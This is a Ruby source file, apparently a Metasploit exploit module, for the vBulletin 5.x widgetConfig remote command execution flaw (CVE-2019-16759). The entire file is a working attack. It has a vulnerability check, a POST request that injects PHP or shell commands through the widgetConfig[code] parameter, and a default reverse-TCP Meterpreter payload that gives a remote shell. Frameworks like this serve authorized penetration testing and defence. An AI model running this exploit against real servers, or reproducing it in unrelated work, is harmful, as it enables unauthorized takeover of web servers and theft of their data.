Dave York
143 lines
4.3 KiB
Ruby
143 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'vBulletin widgetConfig RCE',
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'Description' => %q{
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vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]
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parameter in an ajax/render/widget_php routestring POST request.
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},
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'Author' => [
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'unknown', # discovered by an unknown sender.
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'mekhalleh (RAMELLA Sébastien)' # this module.
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],
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'References' => [
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['CVE', '2019-16759'],
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['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
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['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']
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],
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'DisclosureDate' => '2019-09-23',
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'License' => MSF_LICENSE,
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'Platform' => ['php', 'unix', 'windows'],
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'Arch' => [ARCH_CMD, ARCH_PHP],
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'Privileged' => true,
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'Targets' => [
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['Meterpreter (PHP In-Memory)',
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'Platform' => 'php',
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'Arch' => [ARCH_PHP],
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'Type' => :php_memory,
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'Payload' => {
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'BadChars' => "\x22",
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},
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'DefaultOptions' => {
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'PAYLOAD' => 'php/meterpreter/reverse_tcp',
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'DisablePayloadHandler' => false
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}
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],
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['Unix (CMD In-Memory)',
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/generic',
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'DisablePayloadHandler' => true
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}
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],
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['Windows (CMD In-Memory)',
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'Platform' => 'windows',
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'Arch' => ARCH_CMD,
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'Type' => :windows_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/windows/generic',
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'DisablePayloadHandler' => true
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}
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]
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],
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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))
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register_options([
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OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
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OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
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])
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register_advanced_options([
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OptBool.new('ForceExploit', [false, 'Override check result', false])
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])
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end
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def cmd_payload(command)
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return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")
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end
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def execute_command(command)
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response = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'encode_params' => true,
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'vars_post' => {
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'routestring' => 'ajax/render/widget_php',
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'widgetConfig[code]' => command
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}
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})
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if (response) && (response.body)
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return response
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end
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return false
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end
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def check
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rand_str = Rex::Text.rand_text_alpha(8)
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received = execute_command(cmd_payload("echo #{rand_str}"))
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if received && received.body.include?(rand_str)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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unless check.eql? Exploit::CheckCode::Vulnerable
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unless datastore['ForceExploit']
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fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
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end
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end
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vprint_good("The target appears to be vulnerable.")
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print_status("Sending #{datastore['PAYLOAD']} command payload")
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case target['Type']
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when :unix_cmd, :windows_cmd
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cmd = cmd_payload(payload.encoded)
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vprint_status("Generated command payload: #{cmd}")
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received = execute_command(cmd)
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if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
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print_warning('Dumping command output in body response')
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if received.body.empty?
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print_error('Empty response, no command output')
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return
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end
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print_line("#{received.body}")
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end
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when :php_memory
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vprint_status("Generated command payload: #{payload.encoded}")
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execute_command(payload.encoded)
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end
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end
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end
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